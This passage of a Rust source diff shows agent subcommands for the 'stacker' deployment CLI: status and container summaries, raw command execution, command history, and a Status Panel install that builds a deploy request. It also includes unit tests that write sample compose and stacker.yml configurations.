+ fmt::truncate(image, 28), + if enabled { "yes" } else { "no" } + ); + } +} + +fn print_containers_summary(containers: &[serde_json::Value]) { + let containers = visible_containers(containers); + + if containers.is_empty() { + println!("Containers: none"); + return; + } + + println!("{:<24} {:<12} {:<30}", "CONTAINER", "STATE", "IMAGE"); + for c in containers { + let name = c.get("name").and_then(|v| v.as_str()).unwrap_or("-"); + let state = c + .get("state") + .or_else(|| c.get("status")) + .and_then(|v| v.as_str()) + .unwrap_or("-"); + let image = c.get("image").and_then(|v| v.as_str()).unwrap_or("-"); + println!( + "{:<24} {} {:<10} {:<30}", + fmt::truncate(name, 22), + progress::status_icon(state), + state, + fmt::truncate(image, 28), + ); + } +} + +fn visible_containers(containers: &[serde_json::Value]) -> Vec<&serde_json::Value> { + containers + .iter() + .filter(|container| !is_stale_platform_project_container(container)) + .collect() +} + +fn is_stale_platform_project_container(container: &serde_json::Value) -> bool { + let Some(name) = container.get("name").and_then(|value| value.as_str()) else { + return false; + }; + + let normalized_name = crate::project_app::normalize_app_code(name); + normalized_name.starts_with("project_") + && ["nginx_proxy_manager", "statuspanel"] + .iter() + .any(|code| normalized_name.contains(code)) +} + +fn agent_display_version( + agent: &serde_json::Value, + live_containers: Option<&Vec>, +) -> Option { + agent + .get("system_info") + .and_then(agent_version_from_system_info) + .or_else(|| { + agent + .get("version") + .and_then(|value| value.as_str()) + .and_then(non_placeholder_agent_version) + }) + .or_else(|| { + live_containers.and_then(|containers| agent_version_from_live_containers(containers)) + }) +} + +fn agent_version_from_system_info(system_info: &serde_json::Value) -> Option { + [ + "agent_version", + "agentVersion", + "status_panel_agent_version", + "statusPanelAgentVersion", + "dashboard_version", + "dashboardVersion", + "version", + ] + .iter() + .find_map(|key| { + system_info + .get(*key) + .and_then(|value| value.as_str()) + .and_then(non_placeholder_agent_version) + }) +} + +fn agent_version_from_live_containers(containers: &[serde_json::Value]) -> Option { + containers.iter().find_map(|container| { + let name = container.get("name").and_then(|value| value.as_str())?; + let normalized_name = crate::project_app::normalize_app_code(name); + if !normalized_name.contains("statuspanel_agent") + && !normalized_name.contains("status_panel_agent") + { + return None; + } + + container + .get("image") + .and_then(|value| value.as_str()) + .and_then(image_tag) + .and_then(non_placeholder_agent_version) + }) +} + +fn image_tag(image: &str) -> Option<&str> { + let image_without_digest = image.split('@').next().unwrap_or(image); + image_without_digest + .rsplit_once(':') + .map(|(_, tag)| tag) + .filter(|tag| !tag.contains('/')) +} + +fn non_placeholder_agent_version(version: &str) -> Option { + let version = version.trim().trim_start_matches('v'); + if version.is_empty() + || matches!( + version.to_ascii_lowercase().as_str(), + "1.0.0" | "latest" | "main" | "stable" | "unknown" + ) + { + return None; + } + + Some(version.to_string()) +} + +fn agent_version_label(version: &str) -> String { + format!(" · v{}", version.trim().trim_start_matches('v')) +} + +/// Pretty-print a snapshot summary for human consumption. +fn print_snapshot_summary( + snap: &serde_json::Value, + live_containers: Option<&Vec>, +) { + println!("{}", fmt::separator(60)); + + // Agent info + if let Some(agent) = snap.get("agent") { + let status = agent + .get("status") + .and_then(|v| v.as_str()) + .unwrap_or("unknown"); + let version_label = agent_display_version(agent, live_containers) + .as_deref() + .map(agent_version_label) + .unwrap_or_default(); + let heartbeat = agent + .get("last_heartbeat") + .and_then(|v| v.as_str()) + .unwrap_or("-"); + + println!( + "Agent: {} {}{}", + progress::status_icon(status), + status, + version_label + ); + println!("Heartbeat: {}", heartbeat); + } else { + println!("Agent: not registered"); + } + + println!("{}", fmt::separator(60)); + + if let Some(apps) = snap.get("apps").and_then(|v| v.as_array()) { + print_apps_summary(apps); + } else { + println!("Apps: none"); + } + + println!("{}", fmt::separator(60)); + + // Containers + if let Some(containers) = live_containers { + print_containers_summary(containers); + } else if let Some(containers) = snap.get("containers").and_then(|v| v.as_array()) { + print_containers_summary(containers); + } + + println!("{}", fmt::separator(60)); + + // Recent commands + if let Some(commands) = snap.get("commands").and_then(|v| v.as_array()) { + let recent: Vec<_> = commands.iter().take(5).collect(); + if recent.is_empty() { + println!("Recent commands: none"); + } else { + println!( + "{:<24} {:<14} {:<10} {}", + "COMMAND", "TYPE", "STATUS", "CREATED" + ); + for c in &recent { + let id = c.get("command_id").and_then(|v| v.as_str()).unwrap_or("-"); + let ctype = c.get("type").and_then(|v| v.as_str()).unwrap_or("-"); + let status = c.get("status").and_then(|v| v.as_str()).unwrap_or("-"); + let created = c.get("created_at").and_then(|v| v.as_str()).unwrap_or("-"); + println!( + "{:<24} {:<14} {} {:<8} {}", + fmt::truncate(id, 22), + ctype, + progress::status_icon(status), + status, + fmt::truncate(created, 19), + ); + } + } + } +} + +pub struct AgentListAppsCommand { + pub json: bool, + pub deployment: Option, +} + +impl AgentListAppsCommand { + pub fn new(json: bool, deployment: Option) -> Self { + Self { json, deployment } + } +} + +impl CallableTrait for AgentListAppsCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent list apps")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + let snapshot = ctx.block_on(ctx.client.agent_snapshot(&hash))?; + let item = snapshot_item(&snapshot); + let apps = item + .get("apps") + .and_then(|v| v.as_array()) + .cloned() + .unwrap_or_default(); + + if self.json { + let value = serde_json::Value::Array(apps); + println!("{}", fmt::pretty_json(&value)); + return Ok(()); + } + + print_apps_summary(&apps); + Ok(()) + } +} + +pub struct AgentListContainersCommand { + pub json: bool, + pub deployment: Option, +} + +impl AgentListContainersCommand { + pub fn new(json: bool, deployment: Option) -> Self { + Self { json, deployment } + } +} + +impl CallableTrait for AgentListContainersCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent list containers")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + let containers = fetch_live_containers(&ctx, &hash)?.unwrap_or_default(); + + if self.json { + let value = serde_json::Value::Array(containers); + println!("{}", fmt::pretty_json(&value)); + return Ok(()); + } + + print_containers_summary(&containers); + Ok(()) + } +} + +fn run_logs_command( + ctx: &CliRuntime, + deployment_hash: &str, + app_code: &str, + limit: i32, +) -> Result { + let params = crate::forms::status_panel::LogsCommandRequest { + app_code: app_code.to_string(), + container: None, + cursor: None, + limit, + streams: vec!["stdout".to_string(), "stderr".to_string()], + redact: true, + }; + + let request = AgentEnqueueRequest::new(deployment_hash, "logs") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?; + + run_agent_command( + ctx, + &request, + &format!("Fetching logs ({})", app_code), + DEFAULT_TIMEOUT_SECS, + ) +} + +fn fetch_live_containers( + ctx: &CliRuntime, + deployment_hash: &str, +) -> Result>, CliError> { + let params = crate::forms::status_panel::ListContainersCommandRequest { + include_health: true, + include_logs: false, + log_lines: 10, + }; + + let request = AgentEnqueueRequest::new(deployment_hash, "list_containers") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?; + + let info = run_agent_command(ctx, &request, "Fetching containers", DEFAULT_TIMEOUT_SECS)?; + if info.status != "completed" { + return Ok(None); + } + + let containers = info + .result + .and_then(|result| result.get("containers").and_then(|v| v.as_array()).cloned()); + Ok(containers) +} + +// ── Exec (raw command) ─────────────────────────────── + +/// `stacker agent exec [--params ] [--json] [--deployment ]` +/// +/// Low-level command for sending arbitrary command types to the agent. +pub struct AgentExecCommand { + pub command_type: String, + pub params: Option, + pub timeout: Option, + pub json: bool, + pub deployment: Option, +} + +impl AgentExecCommand { + pub fn new( + command_type: String, + params: Option, + timeout: Option, + json: bool, + deployment: Option, + ) -> Self { + Self { + command_type, + params, + timeout, + json, + deployment, + } + } +} + +impl CallableTrait for AgentExecCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent exec")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + let mut request = AgentEnqueueRequest::new(&hash, &self.command_type); + + if let Some(ref params_str) = self.params { + let value: serde_json::Value = serde_json::from_str(params_str).map_err(|e| { + CliError::ConfigValidation(format!("Invalid JSON parameters: {}", e)) + })?; + request = request.with_raw_parameters(value); + } + + let timeout = self.timeout.unwrap_or(DEFAULT_TIMEOUT_SECS); + if let Some(t) = self.timeout { + request = request.with_timeout(t as i32); + } + + let info = run_agent_command( + &ctx, + &request, + &format!("Executing {}", self.command_type), + timeout, + )?; + print_command_result(&info, self.json); + Ok(()) + } +} + +// ── Command History ────────────────────────────────── + +/// `stacker agent history [--json] [--deployment ]` +/// +/// Shows recent commands sent to the agent via the snapshot endpoint. +pub struct AgentHistoryCommand { + pub json: bool, + pub deployment: Option, +} + +impl AgentHistoryCommand { + pub fn new(json: bool, deployment: Option) -> Self { + Self { json, deployment } + } +} + +impl CallableTrait for AgentHistoryCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("agent history")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + let snap = ctx.block_on(ctx.client.agent_snapshot(&hash))?; + + if self.json { + if let Some(commands) = snap.get("commands") { + println!("{}", fmt::pretty_json(commands)); + } else { + println!("[]"); + } + return Ok(()); + } + + if let Some(commands) = snap.get("commands").and_then(|v| v.as_array()) { + if commands.is_empty() { + println!("No commands found."); + return Ok(()); + } + + println!( + "{:<24} {:<14} {:<10} {:<10} {}", + "COMMAND", "TYPE", "STATUS", "PRIORITY", "CREATED" + ); + println!("{}", fmt::separator(80)); + + for c in commands { + let id = c.get("command_id").and_then(|v| v.as_str()).unwrap_or("-"); + let ctype = c.get("type").and_then(|v| v.as_str()).unwrap_or("-"); + let status = c.get("status").and_then(|v| v.as_str()).unwrap_or("-"); + let priority = c.get("priority").and_then(|v| v.as_str()).unwrap_or("-"); + let created = c.get("created_at").and_then(|v| v.as_str()).unwrap_or("-"); + println!( + "{:<24} {:<14} {} {:<8} {:<10} {}", + fmt::truncate(id, 22), + ctype, + progress::status_icon(status), + status, + priority, + fmt::truncate(created, 19), + ); + } + } else { + println!("No commands found."); + } + + Ok(()) + } +} + +// ── Install (deploy Status Panel to existing server) ─ + +/// `stacker agent install [--file ] [--persist-config] [--json]` +/// +/// Deploys the Status Panel agent to an existing server that was previously +/// deployed without it. Reads the project identity from stacker.yml, finds +/// the corresponding project and server on the Stacker API, and triggers +/// a deploy with only the statuspanel feature enabled. +pub struct AgentInstallCommand { + pub file: Option, + pub persist_config: bool, + pub json: bool, +} + +impl AgentInstallCommand { + pub fn new(file: Option, persist_config: bool, json: bool) -> Self { + Self { + file, + persist_config, + json, + } + } +} + +fn fallback_server_config_for_agent_install( + server: &crate::cli::stacker_client::ServerInfo, +) -> Result { + let host = server.srv_ip.clone().ok_or_else(|| { + CliError::ConfigValidation( + "Server record has no reachable IP address.\n\ + Cannot install Status Panel without a server host." + .to_string(), + ) + })?; + + let port = server + .ssh_port + .and_then(|value| u16::try_from(value).ok()) + .unwrap_or(22); + + Ok(crate::cli::config_parser::ServerConfig { + host, + user: server + .ssh_user + .clone() + .unwrap_or_else(|| "root".to_string()), + ssh_key: None, + port, + }) +} + +const AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_KEY: &str = "status_panel_only"; +const AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_VALUE: &str = "true"; +const AGENT_INSTALL_MODE_KEY: &str = "statuspanel_install_mode"; +const AGENT_INSTALL_MODE_VALUE: &str = "status_only"; + +#[derive(Debug, Clone, PartialEq, Eq)] +struct AgentInstallConfigPersistence { + config_path: PathBuf, + backup_path: PathBuf, + changed: bool, +} + +fn persist_agent_install_config( + config_path: &Path, +) -> Result { + let mut config = crate::cli::config_parser::StackerConfig::from_file_raw(config_path)?; + let changed = !config.monitoring.status_panel; + let backup_path = PathBuf::from(format!("{}.bak", config_path.display())); + + if changed { + config.monitoring.status_panel = true; + let yaml = serde_yaml::to_string(&config).map_err(|e| { + CliError::ConfigValidation(format!("Failed to serialize config: {}", e)) + })?; + std::fs::copy(config_path, &backup_path)?; + std::fs::write(config_path, yaml)?; + } + + Ok(AgentInstallConfigPersistence { + config_path: config_path.to_path_buf(), + backup_path, + changed, + }) +} + +fn persist_agent_install_config_if_requested( + config_path: &Path, + persist_config: bool, +) -> Result, CliError> { + if !persist_config { + return Ok(None); + } + + persist_agent_install_config(config_path).map(Some) +} + +fn print_agent_install_config_persistence(result: &AgentInstallConfigPersistence) { + if result.changed { + eprintln!( + "✓ Updated monitoring.status_panel=true in {}", + result.config_path.display() + ); + eprintln!(" Backup written to {}", result.backup_path.display()); + } else { + eprintln!( + "✓ monitoring.status_panel already enabled in {}", + result.config_path.display() + ); + } +} + +fn add_agent_install_scope_contract(deploy_form: &mut serde_json::Value) { + if let Some(root) = deploy_form.as_object_mut() { + root.entry(AGENT_INSTALL_MODE_KEY.to_string()) + .or_insert_with(|| serde_json::Value::String(AGENT_INSTALL_MODE_VALUE.to_string())); + } + + let Some(vars) = deploy_form + .get_mut("stack") + .and_then(|value| value.get_mut("vars")) + .and_then(|value| value.as_array_mut()) + else { + return; + }; + + if vars.iter().any(|value| { + value.get("key").and_then(|key| key.as_str()) + == Some(AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_KEY) + }) { + return; + } + + vars.push(serde_json::json!({ + "key": AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_KEY, + "value": AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_VALUE, + })); +} + +fn build_agent_install_deploy_request( + config: &crate::cli::config_parser::StackerConfig, + server: &crate::cli::stacker_client::ServerInfo, + project_name: &str, + vault_url: &str, +) -> Result<(Option, serde_json::Value), CliError> { + let server_target = config.deploy.target == crate::cli::config_parser::DeployTarget::Server + || server.cloud_id.is_none(); + + if server_target { + let server_cfg = match config.deploy.server.as_ref() { + Some(server_cfg) => server_cfg.clone(), + None => fallback_server_config_for_agent_install(server)?, + }; + let effective_server_name = server + .name + .clone() + .unwrap_or_else(|| format!("{}-server", project_name)); + let mut deploy_form = crate::cli::stacker_client::build_server_deploy_form( + config, + &server_cfg, + &effective_server_name, + true, + ); + + if let Some(server_obj) = deploy_form + .get_mut("server") + .and_then(|value| value.as_object_mut()) + { + if let Some((private_key, public_key)) = + crate::cli::install_runner::load_existing_server_ssh_key(&server_cfg)? + { + server_obj.insert( + "ssh_private_key".to_string(), + serde_json::Value::String(private_key), + ); + if let Some(public_key) = public_key { + server_obj.insert( + "public_key".to_string(), + serde_json::Value::String(public_key), + ); + } + } + + server_obj.insert("server_id".to_string(), serde_json::json!(server.id)); + + if let Some(vault_key_path) = &server.vault_key_path { + server_obj.insert( + "vault_key_path".to_string(), + serde_json::Value::String(vault_key_path.clone()), + ); + } + + if let Some(region) = &server.region { + server_obj.insert( + "region".to_string(), + serde_json::Value::String(region.clone()), + ); + } + + if let Some(os) = &server.os { + server_obj.insert("os".to_string(), serde_json::Value::String(os.clone())); + } + + if let Some(server_kind) = &server.server { + server_obj.insert( + "server".to_string(), + serde_json::Value::String(server_kind.clone()), + ); + } + } + + add_agent_install_scope_contract(&mut deploy_form); + return Ok((None, deploy_form)); + } + + let cloud_id = server.cloud_id.ok_or_else(|| { + CliError::ConfigValidation( + "Server has no associated cloud credentials.\n\ + Cannot install Status Panel without cloud credentials." + .to_string(), + ) + })?; + + let mut deploy_form = serde_json::json!({ + "cloud": { + "provider": server.cloud.clone().unwrap_or_else(|| "htz".to_string()), + "save_token": true, + }, + "server": { + "server_id": server.id, + "region": server.region, + "server": server.server, + "os": server.os, + "name": server.name, + "srv_ip": server.srv_ip, + "ssh_user": server.ssh_user, + "ssh_port": server.ssh_port, + "vault_key_path": server.vault_key_path, + "connection_mode": "status_panel", + }, + "stack": { + "stack_code": project_name, + "vars": [ + { "key": "vault_url", "value": vault_url }, + { "key": "status_panel_port", "value": "5000" }, + ], + "integrated_features": ["statuspanel"], + "extended_features": [], + "subscriptions": [], + }, + }); + + add_agent_install_scope_contract(&mut deploy_form); + Ok((Some(cloud_id), deploy_form)) +} + +impl CallableTrait for AgentInstallCommand { + fn call(&self) -> Result<(), Box> { + use crate::cli::stacker_client::{self, DEFAULT_VAULT_URL}; + + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + let config_path = match &self.file { + Some(f) => project_dir.join(f), + None => project_dir.join("stacker.yml"), + }; + + let config = crate::cli::config_parser::StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(None)?; + + let project_name = config + .project + .identity + .clone() + .unwrap_or_else(|| config.name.clone()); + + let ctx = CliRuntime::new("agent install")?; + let pb = progress::spinner("Installing Status Panel agent"); + + let result: Result = ctx.block_on(async { + let target_label = config.deploy.target.to_string(); + // 1. Find the project + progress::update_message(&pb, "Finding project..."); + let project = ctx + .client + .find_project_by_name(&project_name) + .await? + .ok_or_else(|| { + CliError::ConfigValidation(format!( + "Project '{}' not found on the Stacker server.\n\ + Deploy the project first with: stacker deploy --target {}", + project_name, target_label + )) + })?; + + // 2. Find the server for this project + progress::update_message(&pb, "Finding server..."); + let servers = ctx.client.list_servers().await?; + let server = servers + .into_iter() + .find(|s| s.project_id == project.id) + .ok_or_else(|| { + CliError::ConfigValidation(format!( + "No server found for project '{}' (id={}).\n\ + Deploy the project first with: stacker deploy --target {}", + project_name, project.id, target_label + )) + })?; + + // 3. Build a minimal deploy form with only the statuspanel feature + progress::update_message(&pb, "Preparing deploy payload..."); + let vault_url = std::env::var("STACKER_VAULT_URL") + .unwrap_or_else(|_| DEFAULT_VAULT_URL.to_string()); + let (cloud_id, deploy_form) = + build_agent_install_deploy_request(&config, &server, &project_name, &vault_url)?; + + // 4. Trigger the deploy + progress::update_message(&pb, "Deploying Status Panel..."); + let resp = ctx.client.deploy(project.id, cloud_id, deploy_form).await?; + Ok(resp) + }); + + match result { + Ok(resp) => { + progress::finish_success(&pb, "Status Panel agent installation triggered"); + let persistence = + persist_agent_install_config_if_requested(&config_path, self.persist_config)?; + + if self.json { + println!( + "{}", + serde_json::to_string_pretty(&resp).unwrap_or_default() + ); + } else { + println!("Status Panel deploy queued for project '{}'", project_name); + if let Some(id) = resp.id { + println!("Project ID: {}", id); + } + if let Some(meta) = &resp.meta { + if let Some(dep_id) = meta.get("deployment_id") { + println!("Deployment ID: {}", dep_id); + } + } + println!(); + println!("The Status Panel agent will be installed on the server."); + println!("Once ready, use `stacker agent status` to verify connectivity."); + if let Some(persistence) = persistence.as_ref() { + print_agent_install_config_persistence(persistence); + } else { + println!( + "Local stacker.yml unchanged. Re-run with --persist-config to set monitoring.status_panel=true locally." + ); + } + } + } + Err(e) => { + progress::finish_error(&pb, &format!("Install failed: {}", e)); + return Err(Box::new(e)); + } + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + fn label_value<'a>(labels: &'a serde_yaml::Mapping, key: &str) -> Option<&'a str> { + labels + .get(serde_yaml::Value::String(key.to_string())) + .and_then(serde_yaml::Value::as_str) + } + + fn sample_server_info() -> crate::cli::stacker_client::ServerInfo { + crate::cli::stacker_client::ServerInfo { + id: 7, + user_id: "user_1".to_string(), + project_id: 42, + cloud_id: None, + cloud: None, + region: Some("nbg1".to_string()), + zone: None, + server: Some("cpx11".to_string()), + os: Some("ubuntu-24.04".to_string()), + disk_type: None, + srv_ip: Some("203.0.113.10".to_string()), + ssh_port: Some(2222), + ssh_user: Some("deployer".to_string()), + name: Some("syncopia-prod".to_string()), + vault_key_path: Some("secret/users/user_1/servers/7/ssh".to_string()), + connection_mode: "ssh".to_string(), + key_status: "uploaded".to_string(), + } + } + + fn stack_var_value<'a>(deploy_form: &'a serde_json::Value, key: &str) -> Option<&'a str> { + deploy_form["stack"]["vars"] + .as_array()? + .iter() + .find(|value| value.get("key").and_then(|item| item.as_str()) == Some(key)) + .and_then(|value| value.get("value")) + .and_then(|value| value.as_str()) + } + + fn top_level_str<'a>(deploy_form: &'a serde_json::Value, key: &str) -> Option<&'a str> { + deploy_form.get(key).and_then(|value| value.as_str()) + } + + #[test] + fn compose_service_has_env_file_detects_service_topology() { + let dir = TempDir::new().expect("temp dir"); + let compose_path = dir.path().join("compose.yml"); + std::fs::write( + &compose_path, + r#" +services: + device-api: + image: optimum/syncopia-device-api:latest + env_file: + - ../../device-api/docker/prod/.env + upload: + image: syncopia/upload:latest +"#, + ) + .expect("compose"); + + assert!(compose_service_has_env_file(&compose_path, "device-api").unwrap()); + assert!(!compose_service_has_env_file(&compose_path, "upload").unwrap()); + } + + #[test] + fn local_config_files_warns_when_conventional_env_is_not_in_compose_topology() { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path(); + std::fs::create_dir_all(root.join("docker/prod")).expect("docker prod"); + std::fs::create_dir_all(root.join("device-api/docker/prod")).expect("service env dir"); + std::fs::write( + root.join("docker/prod/.env"), + "DEVICE_API_IMAGE=syncopia/device-api\n", + ) + .expect("project env"); + std::fs::write(root.join("device-api/docker/prod/.env"), "RUST_LOG=debug\n") + .expect("service env"); + std::fs::write( + root.join("docker/prod/compose.yml"), + r#" +services: + device-api: + image: ${DEVICE_API_IMAGE} +"#, + ) + .expect("compose"); + std::fs::write( + root.join("stacker.yml"), + r#" +name: syncopia +project: + identity: syncopia +app: + image: syncopia/device-api:latest +deploy: + target: server + environment: prod + server: + host: 203.0.113.10 +environments: + prod: + compose_file: docker/prod/compose.yml + env_file: docker/prod/.env +"#, + ) + .expect("stacker config"); + + let config = local_config_files_for_agent_deploy(root, "device-api", None).unwrap(); + + assert!(config.config_files.is_some()); + assert!(config.compose_content.is_some()); + assert_eq!(config.notices.len(), 1); + assert!(config.notices[0].contains("has no env_file entry")); + } + + #[test] + fn local_config_files_uses_environment_override() { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path(); + std::fs::create_dir_all(root.join("docker/local")).expect("docker local"); + std::fs::create_dir_all(root.join("docker/prod")).expect("docker prod"); + std::fs::write( + root.join("docker/local/compose.yml"), + "services:\n device-api:\n image: syncopia/device-api:local\n", + ) + .expect("local compose"); + std::fs::write( + root.join("docker/prod/compose.yml"), + "services:\n device-api:\n image: syncopia/device-api:prod\n", + ) + .expect("prod compose"); + std::fs::write( + root.join("stacker.yml"), + r#" +name: syncopia +project: + identity: syncopia +app: + image: syncopia/device-api:latest +deploy: + target: local + environment: local +environments: + local: + compose_file: docker/local/compose.yml + prod: + compose_file: docker/prod/compose.yml +"#, + ) + .expect("stacker config"); + + let config = local_config_files_for_agent_deploy(root, "device-api", Some("prod")).unwrap(); + + let compose = config.compose_content.expect("compose content"); + assert!(compose.contains("syncopia/device-api:prod")); + assert!(!compose.contains("syncopia/device-api:local")); + } + + #[test] + fn local_config_files_keeps_shared_project_env_file_for_root_env_topology() { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path(); + std::fs::create_dir_all(root.join("docker/prod")).expect("project compose dir"); + std::fs::write( + root.join("docker/prod/compose.yml"), + "services:\n upload:\n image: syncopia/upload:prod\n env_file: .env\n", + ) + .expect("project compose"); + std::fs::write( + root.join("docker/prod/.env"), + "DEVICE_API_IMAGE=syncopia/device-api:prod\nUPLOAD_IMAGE=syncopia/upload:prod\n", + ) + .expect("project env"); + std::fs::write( + root.join("stacker.yml"), + r#" +name: syncopia +project: + identity: syncopia +app: + image: syncopia/upload:latest +deploy: + target: server + environment: prod +environments: + prod: + compose_file: docker/prod/compose.yml + env_file: docker/prod/.env +"#, + ) + .expect("stacker config"); + + let config = local_config_files_for_agent_deploy(root, "upload", None).unwrap(); + + let config_files = config.config_files.expect("config files"); + assert!(config_files.iter().any(|file| { + file.get("destination_path") + .and_then(|path| path.as_str()) + .map(|path| path == ".env") + .unwrap_or(false) + })); + assert!(config_files.iter().any(|file| { + file.get("destination_path") + .and_then(|path| path.as_str()) + .map(|path| path == ".env") + .unwrap_or(false) + && file + .get("content") + .and_then(|content| content.as_str()) + .map(|content| content.contains("UPLOAD_IMAGE=syncopia/upload:prod")) + .unwrap_or(false) + })); + } + + #[test] + fn local_config_files_materializes_stacker_yml_service_into_project_compose() { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path(); + std::fs::create_dir_all(root.join("docker/prod")).expect("project compose dir"); + std::fs::write( + root.join("docker/prod/compose.yml"), + r#" +services: + status-panel-web: + image: trydirect/status-panel-web:latest +"#, + ) + .expect("project compose"); + std::fs::write( + root.join("stacker.yml"), + r#" +name: status-panel +project: + identity: status-panel +app: + image: trydirect/status-panel-web:latest +deploy: + target: server + environment: prod +environments: + prod: + compose_file: docker/prod/compose.yml +services: + - name: smtp + image: trydirect/smtp + ports: + - "1025:25" + environment: + PORT: "25" + RELAY_NETWORKS: ":127.0.0.0/8:10.0.0.0/8:172.16.0.0/12:192.168.0.0/16" + volumes: + - smtp_data:/data +"#, + ) + .expect("stacker config"); + + let config = local_config_files_for_agent_deploy(root, "smtp", None).unwrap(); + + let compose = config.compose_content.expect("compose content"); + assert!(compose.contains("status-panel-web:")); + assert!(compose.contains("smtp:")); + assert!(compose.contains("image: trydirect/smtp")); + assert!(compose.contains("1025:25")); + assert!(compose.contains("RELAY_NETWORKS")); + assert!(compose.contains("smtp_data:")); + assert!(compose.contains("my.stacker.scope: project")); + assert!(compose.contains("my.stacker.service: smtp")); + assert!(compose.contains("my.stacker.dns: smtp")); + assert!(!compose.contains("app-network")); + } + + #[test] + fn annotate_project_compose_adds_stable_stacker_labels() { + let compose = r#" +services: + smtp: + image: trydirect/smtp + labels: + - existing=value +"#; + + let annotated = + annotate_project_compose_with_stacker_labels(compose, Some("cloud"), Some("123")) + .unwrap(); + let doc: serde_yaml::Value = serde_yaml::from_str(&annotated).unwrap(); + let labels = doc + .get("services") + .and_then(|services| services.get("smtp")) + .and_then(|service| service.get("labels")) + .and_then(serde_yaml::Value::as_mapping) + .unwrap(); + + assert_eq!(label_value(labels, "existing"), Some("value")); + assert_eq!(label_value(labels, "my.stacker.project_id"), Some("123")); + assert_eq!(label_value(labels, "my.stacker.target"), Some("cloud")); + assert_eq!(label_value(labels, "my.stacker.scope"), Some("project")); + assert_eq!(label_value(labels, "my.stacker.service"), Some("smtp")); + assert_eq!(label_value(labels, "my.stacker.dns"), Some("smtp")); + } + + #[test] + fn local_config_files_merges_app_local_service_into_project_compose() { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path(); + std::fs::create_dir_all(root.join("docker/prod")).expect("project compose dir"); + std::fs::create_dir_all(root.join("device-api/docker/prod")).expect("app compose dir"); + std::fs::write( + root.join("docker/prod/compose.yml"), + "services:\n database:\n image: postgres:17-alpine\n", + ) + .expect("project compose"); + std::fs::write(root.join("device-api/docker/prod/.env"), "RUST_LOG=debug\n") + .expect("app env"); + std::fs::write( + root.join("device-api/docker/prod/compose.yml"), + "services:\n device-api:\n image: syncopia/device-api:prod\n env_file: .env\n", + ) + .expect("app compose"); + std::fs::write( + root.join("stacker.yml"), + r#" +name: syncopia +project: + identity: syncopia +app: + image: syncopia/device-api:latest +deploy: + target: server + environment: prod +environments: + prod: + compose_file: docker/prod/compose.yml +"#, + ) + .expect("stacker config"); + + let config = local_config_files_for_agent_deploy(root, "device-api", None).unwrap(); + + let compose = config.compose_content.expect("compose content"); + assert!(compose.contains("syncopia/device-api:prod")); + assert!(compose.contains("postgres:17-alpine")); + assert!(!compose.contains("syncopia/device-api:latest")); + assert!(compose.contains("device-api/docker/prod/.env")); + assert!(config.notices.is_empty()); + let config_files = config.config_files.expect("config files"); + assert!(config_files.iter().any(|file| { + file.get("destination_path") + .and_then(|path| path.as_str()) + .map(|path| path == "device-api/docker/prod/.env") + .unwrap_or(false) + })); + } + + #[test] + fn local_config_files_app_local_deploy_does_not_require_unrelated_project_env_file() { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path(); + std::fs::create_dir_all(root.join("docker/prod")).expect("project compose dir"); + std::fs::create_dir_all(root.join("device-api/docker/prod")).expect("app compose dir"); + std::fs::write( + root.join("docker/prod/compose.yml"), + "services:\n upload:\n image: syncopia/upload:prod\n env_file:\n - upload.env\n", + ) + .expect("project compose"); + std::fs::write(root.join("device-api/docker/prod/.env"), "RUST_LOG=debug\n") + .expect("app env"); + std::fs::write( + root.join("device-api/docker/prod/compose.yml"), + "services:\n device-api:\n image: syncopia/device-api:prod\n env_file: .env\n", + ) + .expect("app compose"); + std::fs::write( + root.join("stacker.yml"), + r#" +name: syncopia +project: + identity: syncopia +app: + image: syncopia/device-api:latest +deploy: + target: server + environment: prod +environments: + prod: + compose_file: docker/prod/compose.yml +"#, + ) + .expect("stacker config"); + + let config = local_config_files_for_agent_deploy(root, "device-api", None).unwrap(); + let compose = config.compose_content.expect("compose content"); + + assert!(compose.contains("syncopia/device-api:prod")); + assert!(compose.contains("syncopia/upload:prod")); + assert!(compose.contains("upload.env")); + let config_files = config.config_files.expect("config files"); + assert!(config_files.iter().any(|file| { + file.get("destination_path") + .and_then(|path| path.as_str()) + .map(|path| path == "device-api/docker/prod/.env") + .unwrap_or(false) + })); + assert!(!config_files.iter().any(|file| { + file.get("destination_path") + .and_then(|path| path.as_str()) + .map(|path| path.ends_with("/docker/prod/upload.env")) + .unwrap_or(false) + })); + } + + #[test] + fn enqueue_request_builder() { + let req = AgentEnqueueRequest::new("abc123", "health") + .with_priority("high") + .with_timeout(120); + + assert_eq!(req.deployment_hash, "abc123"); + assert_eq!(req.command_type, "health"); + assert_eq!(req.priority, Some("high".to_string())); + assert_eq!(req.timeout_seconds, Some(120)); + } + + #[test] + fn enqueue_request_with_typed_params() { + let params = crate::forms::status_panel::HealthCommandRequest { + app_code: "myapp".to_string(), + container: None, + include_metrics: true, + include_system: false, + }; + + let req = AgentEnqueueRequest::new("hash", "health") + 